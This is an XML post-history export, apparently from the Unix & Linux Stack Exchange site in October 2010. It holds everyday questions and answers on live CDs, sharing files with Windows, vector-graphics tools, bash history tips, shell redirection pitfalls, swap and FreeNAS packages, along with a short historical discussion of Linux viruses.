  <row Id="5742" PostHistoryTypeId="2" PostId="2763" RevisionGUID="46e84a36-946b-45d3-afe8-2e1453be1f1e" CreationDate="2010-10-05T12:24:51.483" UserId="305" Text="In addition to mentioned by others I would advice to look at:&#xD;&#xA;&#xD;&#xA; - Anjuta - Gnome IDE&#xD;&#xA; - KDevelop - KDE IDE" />
  <row Id="5743" PostHistoryTypeId="2" PostId="2764" RevisionGUID="31c7e75f-6da2-46fa-8ad2-7b5a72f96a26" CreationDate="2010-10-05T12:34:55.660" UserId="33" Text="While Gert's suggestion is probably the best one, it comes with the &quot;disadvantages&quot; that your daughter can do other stuff with her personal persistent storage as well.&#xD;&#xA;&#xD;&#xA;A simpler approach would be to just use a generic LIVE CD (take whichever you like) and put the list of websites coded as a landing-page somewhere: Drop the file somewhere and assign it a short URL via an URL shortening service (bit.ly allows you to customize the shortURL so it could be &quot;bit.ly/DaughterName&quot; for example)." />
  <row Id="5744" PostHistoryTypeId="2" PostId="2765" RevisionGUID="c645d94d-8d72-42bc-afff-0c655802c6fd" CreationDate="2010-10-05T13:16:51.563" UserId="31" Text="As a historical note, the first Internet worm, the [Morris Worm][1], spread through vulnerabilities in Unix utilities.  It predates Linux, but shows that it is possible for Unix based systems to be infected.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Morris_worm" />
  <row Id="5745" PostHistoryTypeId="2" PostId="2766" RevisionGUID="106eda5b-0f62-4579-85e5-7c6f62cf32ad" CreationDate="2010-10-05T13:19:42.540" UserId="1941" Text="One more idea: You can use a normal Live CD without persistent storage and use an online service like http://www.delicious.com/ or http://www.google.com/bookmarks/ to keep track of favorite pages." />
  <row Id="5746" PostHistoryTypeId="5" PostId="2757" RevisionGUID="b3c79ab4-ac86-46d4-9219-ddc7ea45c36b" CreationDate="2010-10-05T13:19:52.947" UserId="2158" Comment="added 342 characters in body" Text="Hi&#xD;&#xA;&#xD;&#xA;I'm not too familiar with Linux, but hope it may be ideal for this situation.  I'm hoping there is a boot from CD style distro that will be ideal for my daughter to use solely for browsing the internet.&#xD;&#xA;&#xD;&#xA;The only odd requirement is that it must be able to save a list of websites to 'favourites' (maybe on USB for example), or as a next best option maybe that list can be hardcoded (such as on a config file) within the distro?&#xD;&#xA;&#xD;&#xA;Would this be possible? Can you recommend a distribution?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;I'm beginning to see this is possible. But how easy can I make it?&#xD;&#xA;&#xD;&#xA;Ideally I'd like it to boot straight to a (fairly simple) web browser, and load a static homepage containing the 'favourites' links. (Maybe this html page could be embedded on the live cd, but ideally it would be be on USB, so as to allow some customisation)." />
  <row Id="5747" PostHistoryTypeId="2" PostId="2767" RevisionGUID="3c102bd7-deec-4a85-9d63-6dc2cd1dd399" CreationDate="2010-10-05T13:28:57.483" UserId="1945" Text="I have some movie files on my Ubuntu computer that I would like to send to my XP laptop.&#xD;&#xA;&#xD;&#xA;Using a USB is too much hassle. Is there any other way of achieving this? Something like the `scp` command would great." />
  <row Id="5748" PostHistoryTypeId="1" PostId="2767" RevisionGUID="3c102bd7-deec-4a85-9d63-6dc2cd1dd399" CreationDate="2010-10-05T13:28:57.483" UserId="1945" Text="sending &amp; receiving files with windows" />
  <row Id="5749" PostHistoryTypeId="3" PostId="2767" RevisionGUID="3c102bd7-deec-4a85-9d63-6dc2cd1dd399" CreationDate="2010-10-05T13:28:57.483" UserId="1945" Text="élinuxàéunixàéubuntuàéwindowsà" />
  <row Id="5750" PostHistoryTypeId="2" PostId="2768" RevisionGUID="c5da514c-f2c2-4fd4-b50f-c90a9a92a04a" CreationDate="2010-10-05T13:39:12.027" UserId="1941" Text="Install [WinSCP][1] on the Windows machine and use it to connect to the Linux machine. Alternatively, use the Windows mechanisms to create a folder share called e.g. share1 and then under Linux start the file manager nautilus, hit Ctrl+l to get a location text field and write into it smb://192.168.1.24/share1 where you of course have to enter the IP adress or hostname of your windows machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://winscp.net/" />
  <row Id="5751" PostHistoryTypeId="2" PostId="2769" RevisionGUID="8a6bcbb0-a699-4a87-8d76-6466d3229978" CreationDate="2010-10-05T13:40:34.420" UserId="2161" Text="Share your windows folder over the network and your linux computer should be able to access it via Samba." />
  <row Id="5752" PostHistoryTypeId="2" PostId="2770" RevisionGUID="7a97112b-c830-40bc-b455-6306dbeee0a6" CreationDate="2010-10-05T13:50:06.983" UserId="1945" Text="Gimp cannot create vector images, is there a good linux application for this?" />
  <row Id="5753" PostHistoryTypeId="1" PostId="2770" RevisionGUID="7a97112b-c830-40bc-b455-6306dbeee0a6" CreationDate="2010-10-05T13:50:06.983" UserId="1945" Text="vector images in linux" />
  <row Id="5754" PostHistoryTypeId="3" PostId="2770" RevisionGUID="7a97112b-c830-40bc-b455-6306dbeee0a6" CreationDate="2010-10-05T13:50:06.983" UserId="1945" Text="éubuntuàédesktopà" />
  <row Id="5755" PostHistoryTypeId="2" PostId="2771" RevisionGUID="e31da5ce-2541-4f41-94ef-103ba0dc8990" CreationDate="2010-10-05T13:51:04.087" UserId="33" Text="Since you are on Ubuntu which has python installed per default you can just run `python -m SimpleHTTPServer` in the directory of files you want shared. This just creates a webserver on port 8000 that serves whatever is in that folder, so on your Windows Computer you can just point a browser to http://IP_OF_UBUNTU_BOX:8000 and download whatever you need. " />
  <row Id="5756" PostHistoryTypeId="2" PostId="2772" RevisionGUID="b0e1870a-90b7-488a-804b-fb36aadb99bf" CreationDate="2010-10-05T14:01:29.603" UserId="274" Text="How about [Inkscape](http://inkscape.org/) ?" />
  <row Id="5757" PostHistoryTypeId="2" PostId="2773" RevisionGUID="6807d715-3321-4507-b361-36da2763e69a" CreationDate="2010-10-05T14:06:43.643" UserId="2143" Text="How is it that nobody has mentioned tomsrtbt? (Linux on a single 1.44&quot; floppy)" />
  <row Id="5758" PostHistoryTypeId="2" PostId="2774" RevisionGUID="48ed5fb5-9872-4c52-9c50-97d2d60e862e" CreationDate="2010-10-05T14:07:31.770" UserId="601" Text="Try [Google](http://www.google.com/search?q=linux+vector#sclient=psy&amp;hl=en&amp;q=linux+vector+graphics), [Wikipedia](http://en.wikipedia.org/wiki/Category:Linux_vector_graphics_software) or [freshmeat](http://freshmeat.net/tags/vector-based)." />
  <row Id="5759" PostHistoryTypeId="2" PostId="2775" RevisionGUID="3f9317be-f6b6-4da0-a399-0e6352ae819c" CreationDate="2010-10-05T14:13:56.330" UserId="1836" Text="I have installed kile via yast package manager in suse but it does not appear under applications. I am using suse 11.2. When I search in applications kile is not found but I can launch it in the terminal. " />
  <row Id="5760" PostHistoryTypeId="1" PostId="2775" RevisionGUID="3f9317be-f6b6-4da0-a399-0e6352ae819c" CreationDate="2010-10-05T14:13:56.330" UserId="1836" Text="kile not  appearing under applications in suse" />
  <row Id="5761" PostHistoryTypeId="3" PostId="2775" RevisionGUID="3f9317be-f6b6-4da0-a399-0e6352ae819c" CreationDate="2010-10-05T14:13:56.330" UserId="1836" Text="éopensuseàékileà" />
  <row Id="5762" PostHistoryTypeId="2" PostId="2776" RevisionGUID="b8a848d8-581e-42fe-8912-805b52081885" CreationDate="2010-10-05T14:16:48.090" UserId="1941" Text="inkscape is today the de facto standard. In earlier times, people used xfig and I still love it, however it isn't for the faint of heart as the user interface is disturbingly ugly and unusual (but highly efficient once you got to know it). Then there is also dia which is modeled a bit after xfig but with a normal Gtk GUI." />
  <row Id="5763" PostHistoryTypeId="2" PostId="2777" RevisionGUID="583afb72-c787-473c-b94a-1cc877f6acb3" CreationDate="2010-10-05T14:24:24.820" UserId="2143" Text="Keep in mind that (afaik), TimeMachine relies on *directory hardlinks*." />
  <row Id="5768" PostHistoryTypeId="2" PostId="2779" RevisionGUID="74d20abe-ebae-4794-92c9-9010cb74cff6" CreationDate="2010-10-05T14:30:44.360" UserId="601" Text="A good place to find software, especially for Unix and Linux, is [freshmeat](http://freshmeat.net/). It is a well established site that lists software projects together with a short description, license information, popularity and vitality stats, information about which programming language is used and much more, searchable by subject." />
  <row Id="5769" PostHistoryTypeId="16" PostId="2779" RevisionGUID="74d20abe-ebae-4794-92c9-9010cb74cff6" CreationDate="2010-10-05T14:30:44.360" UserId="-1" />
  <row Id="5770" PostHistoryTypeId="6" PostId="2767" RevisionGUID="ca2dbf01-4832-4a59-8db1-9fe20e444194" CreationDate="2010-10-05T14:33:39.677" UserId="601" Comment="edited tags" Text="éubuntuàéwindowsà" />
  <row Id="5771" PostHistoryTypeId="6" PostId="1926" RevisionGUID="0ea439c2-c3c6-4081-ab4c-3c87674e2395" CreationDate="2010-10-05T14:36:11.533" UserId="601" Comment="edited tags" Text="émailà" />
  <row Id="5772" PostHistoryTypeId="6" PostId="2744" RevisionGUID="ba378c15-4c11-4b07-adcc-4affd382391d" CreationDate="2010-10-05T14:36:30.953" UserId="601" Comment="edited tags" Text="ésmtpàémuttà" />
  <row Id="5773" PostHistoryTypeId="6" PostId="1889" RevisionGUID="2415a46c-ab0f-46fc-b7f7-e3b92cd48921" CreationDate="2010-10-05T14:37:06.383" UserId="601" Comment="edited tags" Text="éubuntuàéinstallàégrubà" />
  <row Id="5774" PostHistoryTypeId="6" PostId="1839" RevisionGUID="09a1d673-0054-43e0-899d-0df9e31c9d9d" CreationDate="2010-10-05T14:37:57.240" UserId="601" Comment="edited tags" Text="écommandölineàépipeà" />
  <row Id="5775" PostHistoryTypeId="6" PostId="1790" RevisionGUID="db89f6d0-3939-45f6-a9df-9eb1c50e50e8" CreationDate="2010-10-05T14:38:15.137" UserId="601" Comment="edited tags" Text="épackagingà" />
  <row Id="5776" PostHistoryTypeId="6" PostId="1736" RevisionGUID="cbbc9926-35a7-4d12-897a-4a0411be5b70" CreationDate="2010-10-05T14:40:19.783" UserId="601" Comment="edited tags" Text="écommandölineàésuàésudoà" />
  <row Id="5777" PostHistoryTypeId="6" PostId="1424" RevisionGUID="cae47af5-140a-4ca6-a1f1-071848f72f1e" CreationDate="2010-10-05T14:40:59.330" UserId="601" Comment="edited tags" Text="éprocessàémemoryà" />
  <row Id="5778" PostHistoryTypeId="6" PostId="1355" RevisionGUID="96dd8ac4-357e-470a-bb94-f58a4a18d426" CreationDate="2010-10-05T14:41:30.653" UserId="601" Comment="edited tags" Text="écommandölineàéshellà" />
  <row Id="5779" PostHistoryTypeId="6" PostId="1343" RevisionGUID="0e06fc32-d25d-4dfe-a86b-2fc7090939af" CreationDate="2010-10-05T14:42:57.440" UserId="601" Comment="edited tags" Text="éterminalàéprogrammingà" />
  <row Id="5780" PostHistoryTypeId="6" PostId="1295" RevisionGUID="13df63be-f3c5-45e3-ac9e-0d21e5ebe920" CreationDate="2010-10-05T14:43:30.590" UserId="601" Comment="edited tags" Text="évimà" />
  <row Id="5781" PostHistoryTypeId="6" PostId="1254" RevisionGUID="03d1c22f-b413-4327-aefe-436f57f5e668" CreationDate="2010-10-05T14:44:09.153" UserId="601" Comment="edited tags" Text="éshellàécommandöhistoryà" />
  <row Id="5782" PostHistoryTypeId="6" PostId="1244" RevisionGUID="92d6892c-959c-4f86-ae44-b47c440def6a" CreationDate="2010-10-05T14:47:39.353" UserId="601" Comment="edited tags" Text="évirtualömachineàéoracleà" />
  <row Id="5783" PostHistoryTypeId="6" PostId="1150" RevisionGUID="9df8e4e6-641d-47a3-9955-d9e820c5a098" CreationDate="2010-10-05T14:49:21.380" UserId="601" Comment="edited tags" Text="ékernelàédesktopöenvironmentàésystemöinformationà" />
  <row Id="5784" PostHistoryTypeId="2" PostId="2780" RevisionGUID="94b07120-aea4-4a0a-a394-464fd349b9c1" CreationDate="2010-10-05T14:58:55.787" UserId="732" Text="First, it's certainly possible to have viruses under linux.  The inventor of the term &quot;computer virus&quot;, Fred Cohen, did his [first experiments][1] under 4.3BSD&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Second, source code for sh-script computer viruses has floated around for better than 20 years.  See Tom Duff's [1988 paper][2], and Doug McIllroy's [1988 paper][3].  More recently, a [platform-independent LaTex virus][4] got developed for a conference. Runs on Windows and Linux and *BSD.  Naturally, its effects are worse under Windows...&#xD;&#xA;&#xD;&#xA;Third, a handful of real, live computer viruses for (at least) linux have appeared, although it's not clear if more than 2 or 3 of these (RST.a and RST.b) ever got found &quot;in the wild&quot;.&#xD;&#xA;&#xD;&#xA;So, the real question is not &quot;Can linux/unix/BSD contract computer viruses?&quot; but rather, &quot;Given how large the linux desktop and server population is, why doesn't that population have the kind of amazing plague of viruses that Windows attracts?&quot;&#xD;&#xA;&#xD;&#xA;I suspect that the reason has something to do with the mild protection given by traditional Unix user/group/other discretionary protections, and the fractured software base that linux supports.  I mean, my server still runs Slackware 12.1, but with a custom-compiled kernel and lots of re-compiled packages.  My desktop runs Arch, which is a rolling release.  Even though they both run &quot;linux&quot;, they don't have much in common.&#xD;&#xA;&#xD;&#xA;The state of viruses on linux may actually be the normal equilibrium.  The situation on Windows might be the &quot;dragon king&quot;, really unusual situation.  The Windows API is insanely baroque, Win32, NT-native API, magic device names like &quot;LP&quot;, &quot;CON&quot;, &quot;AUX&quot; that can work from any directory, the ACLs that nobody understands, the tradition of single-user, nay, single root user, machines, marking files executable by using part of the file name ('.exe'), all of this probably contributes to the state of malware on Windows.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://all.net/books/virus/index.html&#xD;&#xA;  [2]: http://www.cs.bell-labs.com/who/dmr/tdvirus.pdf&#xD;&#xA;  [3]: http://cm.bell-labs.com/cm/cs/who/doug/v101.ps&#xD;&#xA;  [4]: http://cseweb.ucsd.edu/~hovav/dist/texhack.pdf" />
  <row Id="5785" PostHistoryTypeId="6" PostId="1066" RevisionGUID="1589984e-2462-4884-9252-801f4430c5a6" CreationDate="2010-10-05T15:02:15.567" UserId="601" Comment="edited tags" Text="écommandölineàéshellàéprocessà" />
  <row Id="5786" PostHistoryTypeId="6" PostId="1023" RevisionGUID="a24c18be-9c87-4f2a-9252-a04b6b770426" CreationDate="2010-10-05T15:02:48.640" UserId="601" Comment="edited tags" Text="écommandölineàénetworkingà" />
  <row Id="5787" PostHistoryTypeId="6" PostId="996" RevisionGUID="3d23f6d8-20a0-44a6-b581-b79ebdd3c48f" CreationDate="2010-10-05T15:03:13.383" UserId="601" Comment="edited tags" Text="écommandölineà" />
  <row Id="5788" PostHistoryTypeId="6" PostId="967" RevisionGUID="a4e337eb-01bb-4d46-b37b-4cf8f16ff5ce" CreationDate="2010-10-05T15:03:39.887" UserId="601" Comment="edited tags" Text="égnomeàékdeà" />
  <row Id="5789" PostHistoryTypeId="6" PostId="893" RevisionGUID="5d175155-0bb3-4f8b-bf88-2f404333d571" CreationDate="2010-10-05T15:03:52.243" UserId="601" Comment="edited tags" Text="écommandölineàéshellàéprocessà" />
  <row Id="5790" PostHistoryTypeId="6" PostId="892" RevisionGUID="31e21538-3f1f-429f-b9ff-f4a07557b4e0" CreationDate="2010-10-05T15:04:37.140" UserId="601" Comment="edited tags" Text="écommandölineàéshellàéprocessà" />
  <row Id="5792" PostHistoryTypeId="6" PostId="490" RevisionGUID="e3072b6f-5345-4a5f-96f2-f920fc78ac59" CreationDate="2010-10-05T15:05:44.487" UserId="601" Comment="edited tags" Text="éshellàéscriptingàélearningà" />
  <row Id="5793" PostHistoryTypeId="6" PostId="232" RevisionGUID="55eef59f-07ff-446b-be2b-2529ad930947" CreationDate="2010-10-05T15:06:00.697" UserId="601" Comment="edited tags" Text="éhumorà" />
  <row Id="5794" PostHistoryTypeId="6" PostId="105" RevisionGUID="6c49d2c7-39b5-40f1-921e-936c39e1a01c" CreationDate="2010-10-05T15:06:29.493" UserId="601" Comment="edited tags" Text="échrootà" />
  <row Id="5795" PostHistoryTypeId="6" PostId="17" RevisionGUID="c6dae2a9-144f-49e9-9a34-698d4581743f" CreationDate="2010-10-05T15:07:32.693" UserId="601" Comment="edited tags" Text="énetworkingàéfreebsdà" />
  <row Id="5797" PostHistoryTypeId="2" PostId="2781" RevisionGUID="97c234e0-4331-479f-abe7-2de0da5ca0b3" CreationDate="2010-10-05T15:11:34.263" UserId="396" Text="&#xD;&#xA;On a related note, I recommend using histverify in bash. Put this in your ~/.bashrc:&#xD;&#xA;&#xD;&#xA;    shopt -s histverify&#xD;&#xA;&#xD;&#xA;This will cause bash to print out the command after expanding !$ or other history functions, and give you a chance to look at it before hitting enter again to actually run it.  For me, the sanity check is worth the occasional extra key press. Want to make sure I'm running the `cd foo` command, not the `rm -rf foo` one...&#xD;&#xA;&#xD;&#xA;I frequently use the &lt;kbd&gt;Ctrl-R&lt;/kbd&gt; approach, as well as &lt;kbd&gt;Alt-.&lt;/kbd&gt; (which is a good fit for the scenario you describe).  I'll use !$ on occasion. &#xD;&#xA;&#xD;&#xA;These are very useful general purpose techniques.&#xD;&#xA;&#xD;&#xA;But to address your specific question:&#xD;&#xA;&#xD;&#xA;Making a directory and cd'ing directly into it is such a common combination that it is useful to have a function to wrap it up..&#xD;&#xA;&#xD;&#xA;    function mcd {&#xD;&#xA;      local newdir='_mcd_command_failed_'&#xD;&#xA;      if [ -d &quot;$1&quot; ]; then   # Dir exists, mention that&#xD;&#xA;        echo &quot;$1 exists...&quot;&#xD;&#xA;        newdir=&quot;$1&quot;&#xD;&#xA;      else&#xD;&#xA;        if [ -n &quot;$2&quot; ]; then   # We've specified a mode&#xD;&#xA;            command mkdir -p -m $2 &quot;$1&quot; &amp;&amp; newdir = &quot;$1&quot;&#xD;&#xA;        else                   # Plain old mkdir&#xD;&#xA;            command mkdir -p &quot;$1&quot; &amp;&amp; newdir=&quot;$1&quot;&#xD;&#xA;        fi&#xD;&#xA;      fi&#xD;&#xA;      builtin cd &quot;$newdir&quot;   # No matter what, cd into it&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage:  `mcd thisismyfolder`&#xD;&#xA;" />
  <row Id="5798" PostHistoryTypeId="2" PostId="2782" RevisionGUID="d0de2f70-6c85-4c17-b5ee-48be60d50c50" CreationDate="2010-10-05T15:41:46.157" UserId="1207" Text="[fschmitt's answer][1] is the best when using sed;  however, in a more general sense this anti-pattern:&#xD;&#xA;&#xD;&#xA;    cat infile | filter &gt; infile&#xD;&#xA;&#xD;&#xA;is likely to cause you a good number of problems.  For instance if I have a file called `infile` that looks like this:&#xD;&#xA;&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;&#xD;&#xA;and run this command:&#xD;&#xA;&#xD;&#xA;    cat infile | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot;&#xD;&#xA;&#xD;&#xA;I get &#xD;&#xA;&#xD;&#xA;    hello&#xD;&#xA;    world&#xD;&#xA;&#xD;&#xA;But if I run `cat infile | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot; &gt; infile` I will get an empty file. Why?&#xD;&#xA;&#xD;&#xA;Well, when you use the output redirection operator `&gt;` you are saying &quot;Put my standard output into this file, and if that file exists overwrite it.&quot;  Now you may think that this should work since your filter will return all the lines of the original file.  However, what often ends up happening, is that the shell will clobber your file before any lines are read.  Then your filter command will go to read lines from an empty file, find none and thus return none.  In some places you might get &quot;lucky&quot; enough to have some lines read before the file gets clobber, but it is best to just avoid this pattern altogether.  &#xD;&#xA;&#xD;&#xA;To get around this particular issue, you have a few options.  One is to simply do something like:&#xD;&#xA;&#xD;&#xA;    cat infile | filter &gt; tmpfile; mv tmpfile infile&#xD;&#xA;&#xD;&#xA;If you need to be sure that your temp file won't clobber some other file or have other nasty things happen to it, you should look into `mktemp`. (see `man mktemp` and `info coreutils mktemp`)&#xD;&#xA;&#xD;&#xA;Another option is to use `sponge` from [moreutils][2].  &#xD;&#xA;&#xD;&#xA;Also, many of these examples are examples of [useless uses of cat][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2759/why-does-sed-act-differently-depending-on-the-output-file/2760#2760&#xD;&#xA;  [2]: http://joey.kitenet.net/code/moreutils/&#xD;&#xA;  [3]: http://partmaps.org/era/unix/award.html#cat" />
  <row Id="5799" PostHistoryTypeId="5" PostId="2782" RevisionGUID="7c47a884-be7c-476e-9c36-e502e0fde6e5" CreationDate="2010-10-05T16:00:37.840" UserId="1207" Comment="grammar" Text="[fschmitt's answer][1] is the best when using sed;  however, in a more general sense this anti-pattern:&#xD;&#xA;&#xD;&#xA;    cat infile | filter &gt; infile&#xD;&#xA;&#xD;&#xA;is likely to cause you a good number of problems.  For instance if I have a file called `infile` that looks like this:&#xD;&#xA;&#xD;&#xA;    Hello&#xD;&#xA;    World&#xD;&#xA;&#xD;&#xA;and run this command:&#xD;&#xA;&#xD;&#xA;    cat infile | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot;&#xD;&#xA;&#xD;&#xA;I get &#xD;&#xA;&#xD;&#xA;    hello&#xD;&#xA;    world&#xD;&#xA;&#xD;&#xA;But if I run `cat infile | tr &quot;[:upper:]&quot; &quot;[:lower:]&quot; &gt; infile` I will get an empty file. Why?&#xD;&#xA;&#xD;&#xA;Well, when you use the output redirection operator `&gt;` you are saying &quot;Put my standard output into this file, and if that file exists overwrite it.&quot;  Now you may think that this should work since your filter will return all the lines of the original file.  However, what often ends up happening is that the shell will clobber your file before any lines are read.  Then, your filter command will go to read lines from an empty file, find none, and thus return none.  In some places you might get &quot;lucky&quot; enough to have some lines read before the file gets clobber, but it is best to just avoid this pattern altogether.  &#xD;&#xA;&#xD;&#xA;To get around this particular issue you have a few options.  One is to simply do something like:&#xD;&#xA;&#xD;&#xA;    cat infile | filter &gt; tmpfile; mv tmpfile infile&#xD;&#xA;&#xD;&#xA;If you need to be sure that your temp file won't clobber some other file or have other nasty things happen to it, you should look into `mktemp`. (see `man mktemp` and `info coreutils mktemp`)&#xD;&#xA;&#xD;&#xA;Another option is to use `sponge` from [moreutils][2].  &#xD;&#xA;&#xD;&#xA;Also, many of these examples are examples of [useless uses of cat][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2759/why-does-sed-act-differently-depending-on-the-output-file/2760#2760&#xD;&#xA;  [2]: http://joey.kitenet.net/code/moreutils/&#xD;&#xA;  [3]: http://partmaps.org/era/unix/award.html#cat" />
  <row Id="5800" PostHistoryTypeId="2" PostId="2783" RevisionGUID="2cc5102b-7857-4381-95b4-aef238d369fe" CreationDate="2010-10-05T16:52:09.693" UserId="138" Text="A lot of modern programs are built on bloated frameworks that drag in a lot of junk you don't actually need in order to run the program.  Swapping those unused pages out frees RAM for cache and programs that can actually make use of the RAM.&#xD;&#xA;&#xD;&#xA;I speak from painful personal experience here.&#xD;&#xA;&#xD;&#xA;Last year, I switched one of my web sites to a promising new web server framework that was built on top of Firefox.  It may sound strange to build a server-side system on top of a client-focused program like Firefox, but it had some huge benefits.  Firefox is very powerful, offers some really impressive internal services, and it reduces the impedance mismatch between server and client to have both running similar platforms.  &#xD;&#xA;&#xD;&#xA;But there's a downside: Firefox is big.  Really big.  This was a version 1.x sort of project, so they hadn't gotten around to things like removing the GUI support.[*] My site didn't need any of that, but because the VPS technology my hosting provider used didn't allow swap space, that GUI code and all the other parts of Firefox I didn't use ate real RAM.  I ended up needing 512 MB RAM *minimum* just to run the site without it crashing due to memory exhaustion.  If my VPS had some swap space, I probably could have gotten by with a 256 MB plan.&#xD;&#xA;&#xD;&#xA;[*] &lt;i&gt;Removing the GUI code from the framework may not even have been desirable, since one of the benefits of this platform was high-fidelity web scraping, because the server side framework could download web pages from another site, and you could manipulate them just as you would on the client side.  Think mashups.  A lot of that sort of thing would break if you can't &quot;render&quot; the web page into some graphical context.&lt;/i&gt;&#xD;&#xA;&#xD;&#xA;By the way, this web framework is essentially dead now, so there's no point name-and-shaming it.  Best to just take the broader lesson to heart: yes, swap is still useful even if you have gigs of free RAM." />
  <row Id="5801" PostHistoryTypeId="2" PostId="2784" RevisionGUID="73f27cb6-f620-4304-bc29-4e45f7069866" CreationDate="2010-10-05T17:45:08.770" UserId="2167" Text="I'd like to run a backup tool, [duplicity][1], that apparently requires a `cc` compiler and `binutils`.  I'm able to locate and install the required BSD packages for python, gcc, and dependencies from [ftp2.freebsd.org][2].  However, I can't find `binutils`.&#xD;&#xA;&#xD;&#xA;How are `binutils` installed on a system like FreeNAS?  I'm working with FreeNAS 0.70 (based on FreeBSD 7.2).  I see several packages with `binutils` in the name, but it's not clear any of them are for my i386 platform.&#xD;&#xA;&#xD;&#xA;e.g. I see `i386-rtems-binutils-2.19.1`, but I can't find any info that suggests this is correct for my platform.  Google results mention it's for realtime systems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://duplicity.nongnu.org/&#xD;&#xA;  [2]: ftp://ftp2.freebsd.org/" />
  <row Id="5802" PostHistoryTypeId="1" PostId="2784" RevisionGUID="73f27cb6-f620-4304-bc29-4e45f7069866" CreationDate="2010-10-05T17:45:08.770" UserId="2167" Text="How to install compiler and binutils on FreeNAS?" />
  <row Id="5803" PostHistoryTypeId="3" PostId="2784" RevisionGUID="73f27cb6-f620-4304-bc29-4e45f7069866" CreationDate="2010-10-05T17:45:08.770" UserId="2167" Text="éfreebsdà" />
  <row Id="5804" PostHistoryTypeId="2" PostId="2785" RevisionGUID="a077dda9-d868-4532-a6a3-10c9b70f63b8" CreationDate="2010-10-05T18:05:08.113" UserId="1941" Text="This one works great on Windows, but can be applied to KDE or Gnome as well:&#xD;&#xA;&#xD;&#xA; 1. Open some programs, just so it looks like a normal work session&#xD;&#xA; 2. Make a screenshot of the whole desktop with all apps running&#xD;&#xA; 3. Set all panels (or under windows the start bar) to hidden&#xD;&#xA; 4. Move all Desktop icons to a folder outside the desktop&#xD;&#xA; 5. Set the screenshot as desktop background image&#xD;&#xA;&#xD;&#xA;It will look as if the computer completely hangs, however in fact it is working perfectly well. If you are especially mean, you might have in the screenshot a Firefox window with a tillating or  embarrassing web site. (Don't do this in the office.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5805" PostHistoryTypeId="16" PostId="2785" RevisionGUID="a077dda9-d868-4532-a6a3-10c9b70f63b8" CreationDate="2010-10-05T18:05:08.113" UserId="-1" />
  <row Id="5809" PostHistoryTypeId="2" PostId="2786" RevisionGUID="1a218aa4-4d89-4ba6-8610-fa42549328a7" CreationDate="2010-10-05T18:54:07.510" UserId="885" Text="If you mean the configuration that happens when you install the package, then&#xD;&#xA;&#xD;&#xA;    dpkg-reconfigure php5&#xD;&#xA;&#xD;&#xA;If you mean you want to recompile the package with different compile-time configuration, then, if the package is still available from your configured sources:&#xD;&#xA;&#xD;&#xA;    apt-get source php5=5.3.2&#xD;&#xA;&#xD;&#xA;If the package has fallen off the repositories, you'll have to search for it on the web. All Debian packages are archived at [snapshot.debian.org](http://snapshot.debian.org/).&#xD;&#xA;" />
  <row Id="5810" PostHistoryTypeId="5" PostId="2757" RevisionGUID="dbf1cacd-b938-4150-8273-ffde3fd0322d" CreationDate="2010-10-05T19:00:49.033" UserId="2158" Comment="deleted 242 characters in body" Text="Hi&#xD;&#xA;&#xD;&#xA;I'm not too familiar with Linux, but hope it may be ideal for this situation.  I'm hoping there is a boot from CD style distro that will be ideal for my daughter to use solely for browsing the internet.&#xD;&#xA;&#xD;&#xA;The only odd requirement is that it must be able to save a list of websites to 'favourites' (maybe on USB for example), or as a next best option maybe that list can be hardcoded (such as on a config file) within the distro?&#xD;&#xA;&#xD;&#xA;Would this be possible? Can you recommend a distribution?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks all. Many useful suggestions here. Sorry I could only accept one answer" />
  <row Id="5811" PostHistoryTypeId="2" PostId="2787" RevisionGUID="3683aa74-9cf6-4d3a-ae05-2b576c3b8a3b" CreationDate="2010-10-05T19:26:25.110" UserId="885" Text="I'm looking for a program that does X and runs on unix (or at least on my particular unix system). Where can I look? Is there a more efficient way than a generic web search?&#xD;&#xA;" />
  <row Id="5812" PostHistoryTypeId="1" PostId="2787" RevisionGUID="3683aa74-9cf6-4d3a-ae05-2b576c3b8a3b" CreationDate="2010-10-05T19:26:25.110" UserId="885" Text="Where can I find Software for Unix/Linux that does X?" />
  <row Id="5813" PostHistoryTypeId="3" PostId="2787" RevisionGUID="3683aa74-9cf6-4d3a-ae05-2b576c3b8a3b" CreationDate="2010-10-05T19:26:25.110" UserId="885" Text="ésoftwareörecàésearchà" />
  <row Id="5814" PostHistoryTypeId="16" PostId="2787" RevisionGUID="3683aa74-9cf6-4d3a-ae05-2b576c3b8a3b" CreationDate="2010-10-05T19:26:25.110" UserId="885" />
  <row Id="5815" PostHistoryTypeId="2" PostId="2788" RevisionGUID="ced8f778-a6ca-4463-a81a-927f2d1e7c86" CreationDate="2010-10-05T19:39:45.667" UserId="885" Text="The first place to look is your distribution's package list. That's where you'll find the easiest-to-install programs. Some package management tools provide advanced ways of searching it.&#xD;&#xA;&#xD;&#xA;On Debian and Debian-based distributions, you can search package descriptions with `apt-cache search` or `aptitude search` (on the command line), or through the search facility in interactive package managers such as Aptitude and Synaptic. There's also more structured information in the form of tags: install the `debtags` package, and make basic queries with the `debtags` command or browse the tag database in Aptitude. Tags are a good way to find packages to work with a particular file format, for example.&#xD;&#xA;&#xD;&#xA;If your distribution doesn't have anything, you can also look in the package database of another distribution. Example distributions with a large package database  are [Debian](http://www.debian.org/distrib/packages#search_packages), [Fedora](https://admin.fedoraproject.org/pkgdb/), [FreeBSD](http://www.freebsd.org/ports/), [Ubuntu](http://packages.ubuntu.com/).&#xD;&#xA;" />
